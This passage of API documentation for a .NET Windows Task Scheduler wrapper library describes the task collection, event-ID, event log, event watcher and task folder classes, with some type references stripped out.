the tasks that are registered within a . This class has no public constructor and can only be + accessed via the properties and functions within . + + + Potentially breaking change in 1.6.2 and later where under V1 the list previously included the '.job' extension on the task name. + This has been removed so that it is consistent with V2. + + + public class Program + { + bool RootFolderHasTask(string taskName) + { + if (TaskService.Instance.RootFolder.Tasks.Count > 0) + { + return TaskService.Instance.RootFolder.Tasks.Exists(taskName); + } + return false; + } + + TaskCollection GetRootTasksStartingWith(string value) + { + var pattern = $"^{Regex.Escape(value)}.*$"; + return TaskService.Instance.RootFolder.GetTasks(new Regex(pattern)); + } + + public static void Main() + { + foreach (var task in GetRootTasksStartingWith("MyCo")) + if (RootFolderHasTask(task.Name)) + Console.WriteLine(task.Name); + } + } + + + + Gets the number of registered tasks in the collection. + + + Gets or sets the regular expression filter for task names. + The regular expression filter. + + + Gets the specified registered task from the collection. + The index of the registered task to be retrieved. + A instance that contains the requested context. + + + Gets the named registered task from the collection. + The name of the registered task to be retrieved. + A instance that contains the requested context. + + + Releases all resources used by this class. + + + Determines whether the specified task exists. + The name of the task. + true if task exists; otherwise, false. + + + Gets the collection enumerator for the register task collection. + An for this collection. + + + Returns a that represents this instance. + A that represents this instance. + + + Internal constructor + TaskService instance + The filter. + + + Retrieves the current task. See for more information. + + + Releases all resources used by this class. + + + Moves to the next task. See MoveNext for more information. + true if next task found, false if no more tasks. + + + Reset task enumeration. See Reset for more information. + + + + Changes to tasks and the engine that cause events. + + + + Task Scheduler started an instance of a task for a user. + For detailed information, see the documentation for Event ID 100 on TechNet. + + + Task Scheduler failed to start a task for a user. + For detailed information, see the documentation for Event ID 101 on TechNet. + + + Task Scheduler successfully finished an instance of a task for a user. + For detailed information, see the documentation for Event ID 102 on TechNet. + + + Task Scheduler failed to start an instance of a task for a user. + For detailed information, see the documentation for Event ID 103 on TechNet. + + + Task Scheduler failed to log on the user. + For detailed information, see the documentation for Event ID 104 on TechNet. + + + Task Scheduler failed to impersonate a user. + For detailed information, see the documentation for Event ID 105 on TechNet. + + + The a user registered the Task Scheduler a task. + For detailed information, see the documentation for Event ID 106 on TechNet. + + + Task Scheduler launched an instance of a task due to a time trigger. + For detailed information, see the documentation for Event ID 107 on TechNet. + + + Task Scheduler launched an instance of a task due to an event trigger. + For detailed information, see the documentation for Event ID 108 on TechNet. + + + Task Scheduler launched an instance of a task due to a registration trigger. + For detailed information, see the documentation for Event ID 109 on TechNet. + + + Task Scheduler launched an instance of a task for a user. + For detailed information, see the documentation for Event ID 110 on TechNet. + + + Task Scheduler terminated an instance of a task due to exceeding the time allocated for execution, as configured in the task definition. + For detailed information, see the documentation for Event ID 111 on TechNet. + + + Task Scheduler could not start a task because the network was unavailable. Ensure the computer is connected to the required network as specified in the task. + For detailed information, see the documentation for Event ID 112 on TechNet. + + + The Task Scheduler registered the a task, but not all the specified triggers will start the task. Ensure all the task triggers are valid. + For detailed information, see the documentation for Event ID 113 on TechNet. + + + Task Scheduler could not launch a task as scheduled. Instance is started now as required by the configuration option to start the task when available, if the scheduled time is missed. + For detailed information, see the documentation for Event ID 114 on TechNet. + + + Task Scheduler failed to roll back a transaction when updating or deleting a task. + For detailed information, see the documentation for Event ID 115 on TechNet. + + + Task Scheduler saved the configuration for a task, but the credentials used to run the task could not be stored. + For detailed information, see the documentation for Event ID 116 on TechNet. + + + Task Scheduler launched an instance of a task due to an idle condition. + For detailed information, see the documentation for Event ID 117 on TechNet. + + + Task Scheduler launched an instance of a task due to system startup. + For detailed information, see the documentation for Event ID 118 on TechNet. + + + Task Scheduler launched an instance of a task due to a user logon. + For detailed information, see the documentation for Event ID 119 on TechNet. + + + Task Scheduler launched an instance of a task due to a user connecting to the console. + For detailed information, see the documentation for Event ID 120 on TechNet. + + + Task Scheduler launched an instance of a task due to a user disconnecting from the console. + For detailed information, see the documentation for Event ID 121 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely connecting. + For detailed information, see the documentation for Event ID 122 on TechNet. + + + Task Scheduler launched an instance of a task due to a user remotely disconnecting. + For detailed information, see the documentation for Event ID 123 on TechNet. + + + Task Scheduler launched an instance of a task due to a user locking the computer. + For detailed information, see the documentation for Event ID 124 on TechNet. + + + Task Scheduler launched an instance of a task due to a user unlocking the computer. + For detailed information, see the documentation for Event ID 125 on TechNet. + + + Task Scheduler failed to execute a task. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 126 on TechNet. + + + Task Scheduler failed to execute a task due to a shutdown race condition. Task Scheduler is attempting to restart the task. + For detailed information, see the documentation for Event ID 127 on TechNet. + + + Task Scheduler did not launch a task because the current time exceeds the configured task end time. + For detailed information, see the documentation for Event ID 128 on TechNet. + + + Task Scheduler launched an instance of a task in a new process. + For detailed information, see the documentation for Event ID 129 on TechNet. + + + The Task Scheduler service failed to start a task due to the service being busy. + For detailed information, see the documentation for Event ID 130 on TechNet. + + + Task Scheduler failed to start a task because the number of tasks in the task queue exceeds the quota currently configured. + For detailed information, see the documentation for Event ID 131 on TechNet. + + + The Task Scheduler task launching queue quota is approaching its preset limit of tasks currently configured. + For detailed information, see the documentation for Event ID 132 on TechNet. + + + Task Scheduler failed to start a task in the task engine for a user. + For detailed information, see the documentation for Event ID 133 on TechNet. + + + Task Engine for a user is approaching its preset limit of tasks. + For detailed information, see the documentation for Event ID 134 on TechNet. + + + Task Scheduler did not launch a task because launch condition not met, machine not idle. + For detailed information, see the documentation for Event ID 135 on TechNet. + + + A user updated Task Scheduler a task + For detailed information, see the documentation for Event ID 140 on TechNet. + + + A user deleted Task Scheduler a task + For detailed information, see the documentation for Event ID 141 on TechNet. + + + A user disabled Task Scheduler a task + For detailed information, see the documentation for Event ID 142 on TechNet. + + + Task Scheduler woke up the computer to run a task. + For detailed information, see the documentation for Event ID 145 on TechNet. + + + Task Scheduler failed to subscribe the event trigger for a task. + For detailed information, see the documentation for Event ID 150 on TechNet. + + + Task Scheduler launched an action in an instance of a task. + For detailed information, see the documentation for Event ID 200 on TechNet. + + + Task Scheduler successfully completed a task instance and action. + For detailed information, see the documentation for Event ID 201 on TechNet. + + + Task Scheduler failed to complete an instance of a task with an action. + For detailed information, see the documentation for Event ID 202 on TechNet. + + + Task Scheduler failed to launch an action in a task instance. + For detailed information, see the documentation for Event ID 203 on TechNet. + + + Task Scheduler failed to retrieve the event triggering values for a task . The event will be ignored. + For detailed information, see the documentation for Event ID 204 on TechNet. + + + Task Scheduler failed to match the pattern of events for a task. The events will be ignored. + For detailed information, see the documentation for Event ID 205 on TechNet. + + + Task Scheduler is shutting down the a task engine. + For detailed information, see the documentation for Event ID 301 on TechNet. + + + Task Scheduler is shutting down the a task engine due to an error. + For detailed information, see the documentation for Event ID 303 on TechNet. + + + Task Scheduler sent a task to a task engine. + For detailed information, see the documentation for Event ID 304 on TechNet. + + + Task Scheduler did not send a task to a task engine. + For detailed information, see the documentation for Event ID 305 on TechNet. + + + For a Task Scheduler task engine, the thread pool failed to process the message. + For detailed information, see the documentation for Event ID 306 on TechNet. + + + The Task Scheduler service failed to connect to a task engine process. + For detailed information, see the documentation for Event ID 307 on TechNet. + + + Task Scheduler connected to a task engine process. + For detailed information, see the documentation for Event ID 308 on TechNet. + + + There are Task Scheduler tasks orphaned during a task engine shutdown. + For detailed information, see the documentation for Event ID 309 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 310 on TechNet. + + + Task Scheduler failed to start a task engine process due to an error. + For detailed information, see the documentation for Event ID 311 on TechNet. + + + Task Scheduler created the Win32 job object for a task engine. + For detailed information, see the documentation for Event ID 312 on TechNet. + + + The Task Scheduler channel is ready to send and receive messages. + For detailed information, see the documentation for Event ID 313 on TechNet. + + + Task Scheduler has no tasks running for a task engine, and the idle timer has started. + For detailed information, see the documentation for Event ID 314 on TechNet. + + + A task engine process failed to connect to the Task Scheduler service. + For detailed information, see the documentation for Event ID 315 on TechNet. + + + A task engine failed to send a message to the Task Scheduler service. + For detailed information, see the documentation for Event ID 316 on TechNet. + + + Task Scheduler started a task engine process. + For detailed information, see the documentation for Event ID 317 on TechNet. + + + Task Scheduler shut down a task engine process. + For detailed information, see the documentation for Event ID 318 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to launch a task. + For detailed information, see the documentation for Event ID 319 on TechNet. + + + A task engine received a message from the Task Scheduler service requesting to stop a task instance. + For detailed information, see the documentation for Event ID 320 on TechNet. + + + Task Scheduler did not launch a task because an instance of the same task is already running. + For detailed information, see the documentation for Event ID 322 on TechNet. + + + Task Scheduler stopped an instance of a task in order to launch a new instance. + For detailed information, see the documentation for Event ID 323 on TechNet. + + + Task Scheduler queued an instance of a task and will launch it as soon as another instance completes. + For detailed information, see the documentation for Event ID 324 on TechNet. + + + Task Scheduler queued an instance of a task that will launch immediately. + For detailed information, see the documentation for Event ID 325 on TechNet. + + + Task Scheduler did not launch a task because the computer is running on batteries. If launching the task on batteries is required, change the respective flag in the task configuration. + For detailed information, see the documentation for Event ID 326 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is switching to battery power. + For detailed information, see the documentation for Event ID 327 on TechNet. + + + Task Scheduler stopped an instance of a task because the computer is no longer idle. + For detailed information, see the documentation for Event ID 328 on TechNet. + + + Task Scheduler stopped an instance of a task because the task timed out. + For detailed information, see the documentation for Event ID 329 on TechNet. + + + Task Scheduler stopped an instance of a task as request by a user . + For detailed information, see the documentation for Event ID 330 on TechNet. + + + Task Scheduler will continue to execute an instance of a task even after the designated timeout, due to a failure to create the timeout mechanism. + For detailed information, see the documentation for Event ID 331 on TechNet. + + + Task Scheduler did not launch a task because a user was not logged on when the launching conditions were met. Ensure the user is logged on or change the task definition to allow the task to launch when the user is logged off. + For detailed information, see the documentation for Event ID 332 on TechNet. + + + The Task Scheduler service has started. + For detailed information, see the documentation for Event ID 400 on TechNet. + + + The Task Scheduler service failed to start due to an error. + For detailed information, see the documentation for Event ID 401 on TechNet. + + + Task Scheduler service is shutting down. + For detailed information, see the documentation for Event ID 402 on TechNet. + + + The Task Scheduler service has encountered an error. + For detailed information, see the documentation for Event ID 403 on TechNet. + + + The Task Scheduler service has encountered an RPC initialization error. + For detailed information, see the documentation for Event ID 404 on TechNet. + + + The Task Scheduler service has failed to initialize COM. + For detailed information, see the documentation for Event ID 405 on TechNet. + + + The Task Scheduler service failed to initialize the credentials store. + For detailed information, see the documentation for Event ID 406 on TechNet. + + + Task Scheduler service failed to initialize LSA. + For detailed information, see the documentation for Event ID 407 on TechNet. + + + Task Scheduler service failed to initialize idle state detection module. Idle tasks may not be started as required. + For detailed information, see the documentation for Event ID 408 on TechNet. + + + The Task Scheduler service failed to initialize a time change notification. System time updates may not be picked by the service and task schedules may not be updated. + For detailed information, see the documentation for Event ID 409 on TechNet. + + + Task Scheduler service received a time system change notification. + For detailed information, see the documentation for Event ID 411 on TechNet. + + + Task Scheduler service failed to launch tasks triggered by computer startup. Restart the Task Scheduler service. + For detailed information, see the documentation for Event ID 412 on TechNet. + + + Task Scheduler service started Task Compatibility module. + For detailed information, see the documentation for Event ID 700 on TechNet. + + + Task Scheduler service failed to start Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 701 on TechNet. + + + Task Scheduler failed to initialize the RPC server for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 702 on TechNet. + + + Task Scheduler failed to initialize Net Schedule API for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 703 on TechNet. + + + Task Scheduler failed to initialize LSA for starting the Task Compatibility module. Tasks may not be able to register on previous Window versions. + For detailed information, see the documentation for Event ID 704 on TechNet. + + + Task Scheduler failed to start directory monitoring for the Task Compatibility module. + For detailed information, see the documentation for Event ID 705 on TechNet. + + + Task Compatibility module failed to update a task to the required status. + For detailed information, see the documentation for Event ID 706 on TechNet. + + + Task Compatibility module failed to delete a task. + For detailed information, see the documentation for Event ID 707 on TechNet. + + + Task Compatibility module failed to set a security descriptor for a task. + For detailed information, see the documentation for Event ID 708 on TechNet. + + + Task Compatibility module failed to update a task. + For detailed information, see the documentation for Event ID 709 on TechNet. + + + Task Compatibility module failed to upgrade existing tasks. Upgrade will be attempted again next time 'Task Scheduler' service starts. + For detailed information, see the documentation for Event ID 710 on TechNet. + + + Task Compatibility module failed to upgrade NetSchedule account. + For detailed information, see the documentation for Event ID 711 on TechNet. + + + Task Compatibility module failed to read existing store to upgrade tasks. + For detailed information, see the documentation for Event ID 712 on TechNet. + + + Task Compatibility module failed to load a task for upgrade. + For detailed information, see the documentation for Event ID 713 on TechNet. + + + Task Compatibility module failed to register a task for upgrade. + For detailed information, see the documentation for Event ID 714 on TechNet. + + + Task Compatibility module failed to delete LSA store for upgrade. + For detailed information, see the documentation for Event ID 715 on TechNet. + + + Task Compatibility module failed to upgrade existing scheduled tasks. + For detailed information, see the documentation for Event ID 716 on TechNet. + + + Task Compatibility module failed to determine if upgrade is needed. + For detailed information, see the documentation for Event ID 717 on TechNet. + + + Task scheduler was unable to upgrade the credential store from the Beta 2 version. You may need to re-register any tasks that require passwords. + For detailed information, see the documentation for Event ID 718 on TechNet. + + + A unknown value. + + + + Historical event information for a task. This class wraps and extends the class. + + + For events on systems prior to Windows Vista, this class will only have information for the TaskPath, TimeCreated and EventId properties. + + + + + Gets the activity id. This value is null for V1 events. + + + + + An indexer that gets the value of each of the data item values. This value is null for V1 events. + + + The data values. + + + + + Gets the event id. + + + + + Gets the underlying . This value is null for V1 events. + + + + + Gets the from the . + + + The . If not found, returns . + + + + + Gets the level. This value is null for V1 events. + + + + + Gets the op code. This value is null for V1 events. + + + + + Gets the process id. This value is null for V1 events. + + + + + Gets the record id. This value is null for V1 events. + + + + + Gets the task category. This value is null for V1 events. + + + + + Gets the task path. + + + + + Gets the time created. + + + + + Gets the user id. This value is null for V1 events. + + + + + Gets the version. This value is null for V1 events. + + + + + Gets the data value from the task specific event data item list. + + The name of the data element. + Contents of the requested data element if found. null if no value found. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the other parameter.Zero This object is equal to other. Greater than zero This object is greater than other. + + + + + Get indexer class for data values. + + + + + Gets the value of the specified property name. + + + The value. + + Name of the property. + Value of the specified property name. null if property does not exist. + + + + An enumerator over a task's history of events. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Gets the element in the collection at the current position of the enumerator. + + + The element in the collection at the current position of the enumerator. + + + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + + + Advances the enumerator to the next element of the collection. + + + true if the enumerator was successfully advanced to the next element; false if the enumerator has passed the end of the collection. + + + The collection was modified after the enumerator was created. + + + + + Sets the enumerator to its initial position, which is before the first element in the collection. + + + The collection was modified after the enumerator was created. + + + + + Seeks the specified bookmark. + + The bookmark. + The offset. + + + + Seeks the specified origin. + + The origin. + The offset. + + + + Historical event log for a task. Only available for Windows Vista and Windows Server 2008 and later systems. + + Many applications have the need to audit the execution of the tasks they supply. To enable this, the library provides the TaskEventLog class that allows for TaskEvent instances to be enumerated. This can be done for single tasks or the entire system. It can also be filtered by specific events or criticality. + + + + + Initializes a new instance of the class. + + The task path. This can be retrieved using the property. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class. + + Name of the machine. + The task path. This can be retrieved using the property. + The domain. + The user. + The password. + Thrown when instantiated on an OS prior to Windows Vista. + + + + Initializes a new instance of the class that looks at all task events from a specified time. + + The start time. + Name of the task. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Initializes a new instance of the class. + + Name of the task. + The event ids. + The levels. + The start time. + Name of the machine (optional). + The domain. + The user. + The password. + + + + Gets the total number of events for this task. + + + + + Gets or sets a value indicating whether this is enabled. + + + true if enabled; otherwise, false. + + + + + Gets or sets a value indicating whether to enumerate in reverse when calling the default enumerator (typically with foreach statement). + + + true if enumerates in reverse (newest to oldest) by default; otherwise, false to enumerate oldest to newest. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through the collection. + + if set to true reverse. + + A that can be used to iterate through the collection. + + + + + Returns an enumerator that iterates through a collection. + + + An object that can be used to iterate through the collection. + + + + + Information about the task event. + + + + + If possible, gets the task associated with this event. + + + The task or null if unable to retrieve. + + + + + Gets the . + + + The TaskEvent. + + + + + Gets the task name. + + + The task name. + + + + + Gets the task path. + + + The task path. + + + + + Watches system events related to tasks and issues a event when the filtered conditions are met. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + Sometimes, a developer will need to know about events as they occur. In this case, they can use the TaskEventWatcher component that enables the developer to watch a task, a folder, or the entire system for filtered events. + + Below is information on how to watch a folder for all task events. For a complete example, look at this sample project: TestTaskWatcher.zip + + + + + Initializes a new instance of the class. If other + properties are not set, this will watch for all events for all tasks on the local machine. + + + + + Initializes a new instance of the class watching only + those events for the task with the provided path on the local machine. + + The full path (folders and name) of the task to watch. + The task service. + $Invalid task name: {taskPath} + + + + Initializes a new instance of the class watching only + those events for the specified task. + + The task to watch. + Occurs if the is null. + + + + Initializes a new instance of the class watching only those events for + the tasks whose name matches the in the specified + and optionally all subfolders. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + Occurs if the is null. + + + + Initializes a new instance of the class. + + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The task service. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task path. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user as a secure string. + + + + Initializes a new instance of the class on a remote machine. + + Name of the remote machine. + The task folder to watch. + The filter for task names using standard file system wildcards. Use "*" to include all tasks. + if set to true include events from tasks subfolders. + The domain of the user account. + The user name with permissions on the remote machine. + The password for the user. + + + + Occurs when a task or the task engine records an event. + + + + + Gets or sets a value indicating whether the component is enabled. + + + true if enabled; otherwise, false. + + + + + Gets the filter for this . + + + The filter. + + + + + Gets or sets the folder to watch. + + + The folder path to watch. This value should include the leading "\" to indicate the root folder. + + Thrown if the folder specified does not exist or contains invalid characters. + + + + Gets or sets a value indicating whether to include events from subfolders when the + property is set. If the property is set, + this property is ignored. + + true if include events from subfolders; otherwise, false. + + + + Gets or sets the synchronizing object. + + + The synchronizing object. + + + + + Gets or sets the name of the computer that is running the Task Scheduler service that the user is connected to. + + + + + Gets or sets the instance associated with this event watcher. Setting this value + will override any values set for , , + , and and set them to those values in the supplied + instance. + + The TaskService. + + + + Gets or sets the user account domain to be used when connecting to the . + + The user account domain. + + + + Gets or sets the user name to be used when connecting to the . + + The user name. + + + + Gets or sets the user password to be used when connecting to the . + + The user password. + + + + Gets a value indicating if watching is available. + + + + + Signals the object that initialization is starting. + + + + + Signals the object that initialization is complete. + + + + + Releases the unmanaged resources used by the FileSystemWatcher and optionally releases the managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Fires the event. + + The sender. + The instance containing the event data. + + + + Holds filter information for a . + + + + + Gets or sets an optional array of event identifiers to use when filtering those events that will fire a event. + + + The array of event identifier filters. All know task event identifiers are declared in the enumeration. + + + + + Gets or sets an optional array of event levels to use when filtering those events that will fire a event. + + + The array of event levels. While event providers can define custom levels, most will use integers defined in the System.Diagnostics.Eventing.Reader.StandardEventLevel enumeration. + + + + + Gets or sets the task name, which can utilize wildcards, to look for when watching a folder. + + A task name or wildcard. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Provides the methods that are used to register (create) tasks in the folder, remove tasks from the folder, and create or remove subfolders from the folder. + + + + + Releases all resources used by this class. + + + + + Gets a which enumerates all the tasks in this and all subfolders. + + + A for all instances. + + + + + Gets the name that is used to identify the folder that contains a task. + + + + + Gets the parent folder of this folder. + + + The parent folder, or null if this folder is the root folder. + + + + + Gets the path to where the folder is stored. + + + + + Gets or sets the security descriptor of the task. + + The security descriptor. + + + + Gets all the subfolders in the folder. + + + + + Gets a collection of all the tasks in the folder. + + + + + Gets or sets the that manages this task. + + The task service. + + + + Compares the current object with another object of the same type. + + An object to compare with this object. + + A value that indicates the relative order of the objects being compared. The return value has the following meanings: Value Meaning Less than zero This object is less than the parameter.Zero This object is equal to . Greater than zero This object is greater than . + + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The task security associated with the folder. + A instance that represents the new subfolder. + + + + Creates a folder for related tasks. Not available to Task Scheduler 1.0. + + The name used to identify the folder. If "FolderName\SubFolder1\SubFolder2" is specified, the entire folder tree will be created if the folders do not exist. This parameter can be a relative path to the current instance. The root task folder is specified with a backslash (\). An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The security descriptor associated with the folder. + Set this value to false to avoid having an exception called if the folder already exists. + A instance that represents the new subfolder. + Security descriptor mismatch between specified credentials and credentials on existing folder by same name. + Invalid SDDL form. + Not supported under Task Scheduler 1.0. + + + + Deletes a subfolder from the parent folder. Not available to Task Scheduler 1.0. + + The name of the subfolder to be removed. The root task folder is specified with a backslash (\). This parameter can be a relative path to the folder you want to delete. An example of a task folder path, under the root task folder, is \MyTaskFolder. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + Set this value to false to avoid having an exception called if the folder does not exist. + Not supported under Task Scheduler 1.0. + + + Deletes a task from the folder. + + The name of the task that is specified when the task was registered. The '.' character cannot be used to specify the current task folder and the '..' + characters cannot be used to specify the parent task folder in the path. + + Set this value to false to avoid having an exception called if the task does not exist. + + + Returns an enumerable collection of folders that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include all subfolders. + + An enumerable collection of folders that matches . + If a filter is supplied and filters out a folder, none of its subfolders will be processed, regardless of them + matching the filter. + + + + Returns an enumerable collection of tasks that matches a specified filter and recursion option. + An optional predicate used to filter the returned instances. + Specifies whether the enumeration should include tasks in any subfolders. + An enumerable collection of directories that matches and . + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task described by the + current object. + + A object that encapsulates the access control rules for the current folder. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task folder described by + the current object. + + + One of the values that specifies which group of access control entries to retrieve. + + A object that encapsulates the access control rules for the current folder. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + Section(s) of the security descriptor to return. + The security descriptor for the folder. + + + + Gets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + Section(s) of the security descriptor to return. + The security descriptor for the folder. + Not supported under Task Scheduler 1.0. + + + + Gets a collection of all the tasks in the folder whose name matches the optional . + + The optional name filter expression. + Collection of all matching tasks. + + + Imports a from an XML file. + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The file containing the XML-formatted definition of the task. + If set to , overwrites any existing task with the same name. + A instance that represents the new task. + Importing from an XML file is only supported under Task Scheduler 2.0. + + + + Registers (creates) a new task in the folder using XML to define the task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + An XML-formatted definition of the task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + A instance that represents the new task. + " + + "" + + " " + + " " + + " S-1-5-18" + + " " + + " " + + " " + + " " + + " 2017-09-04T14:04:03" + + " " + + " " + + " " + + " " + + " " + + " cmd" + + " " + + " " + + ""; + // Register the task in the root folder of the local machine using the SYSTEM account defined in XML + TaskService.Instance.RootFolder.RegisterTaskDefinition("Test", xml); + ]]> + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A instance that represents the new task. + + + + + + Registers (creates) a task in a specified location using a instance to define a task. + + The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. + The of the registered task. + A union of flags. + The user credentials used to register the task. + The password for the userId used to register the task. + A value that defines what logon technique is used to run the registered task. + The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. + + A instance that represents the new task. This will return null if is set to ValidateOnly and there are no validation errors. + + + Task names may not include any characters which are invalid for file names. + or + Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library. + + This LogonType is not supported on Task Scheduler 1.0. + or + Security settings are not available on Task Scheduler 1.0. + or + Registration triggers are not available on Task Scheduler 1.0. + or + XML validation not available on Task Scheduler 1.0. + This method is effectively the "Save" method for tasks. It takes a modified TaskDefinition instance and registers it in the folder defined by this TaskFolder instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task. + + This first example registers a simple task with a single trigger and action using the default security. + + This example registers that same task using the SYSTEM account. + + This example registers that same task using a specific username and password along with a security definition. + + + + + Applies access control list (ACL) entries described by a object to the file described by the current object. + + A object that describes an access control list (ACL) entry to apply to the current folder. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Section(s) of the security descriptor to set. + + + + Sets the security descriptor for the folder. Not available to Task Scheduler 1.0. + + The security descriptor for the folder. + Flags that specify how to set the security descriptor. + Not supported under Task Scheduler 1.0. + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + Enumerates the tasks in the specified folder and its child folders. + The folder in which to start enumeration. + An optional filter to apply to the task list. + true if subfolders are to be queried recursively. + A that can be used to iterate through the tasks. + + + Finds the task in folder. + The folder. + The filter to use when looking for tasks. + The results. + if set to true recurse folders. + True if any tasks are found, False if not. + + + Provides information and control for a collection of folders that contain tasks. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets the number of items in the collection. + + + Gets a value indicating whether the is read-only. + + + Gets the specified folder from the collection. + The index of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Gets the specified folder from the collection. + The path of the folder to be retrieved. + A TaskFolder instance that represents the requested folder. + + + Adds an item to the . + The object to add to the . + + This action is technically unfeasible due to limitations of the underlying library. Use the instead. + + + + Removes all items from the . + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Copies the elements of the ICollection to an Array, starting at a particular Array index. + + The one-dimensional Array that is the destination of the elements copied from . The Array must have + zero-based indexing. + + The zero-based index in array at which copying begins. + + + Releases all resources used by this class. + + + Determines whether the specified folder exists. + The path of the folder. + true if folder exists; otherwise, false. + + + Gets a list of items in a collection. + Enumerated list of items in the collection. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Defines the methods that are called by the Task Scheduler service to manage a COM handler. + + + This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the class. + + + + + Called to start the COM handler. This method must be implemented by the handler. + + An IUnkown interface that is used to communicate back with the Task Scheduler. + The arguments that are required by the handler. These arguments are defined in the property of the COM handler action. + + + + Called to stop the COM handler. This method must be implemented by the handler. + + The return code that the Task Schedule will raise as an event when the COM handler action is completed. + + + + Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler. + + + + + Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler. + + + + + Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler. + + + + + Tells the Task Scheduler about the percentage of completion of the COM handler. + + A value that indicates the percentage of completion for the COM handler. + The message that is displayed in the Task Scheduler UI. + + + + Tells the Task Scheduler that the COM handler is completed. + + The error code that the Task Scheduler will raise as an event. + + + + Specifies the access control rights that can be applied to Task Scheduler tasks. + + + + Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a 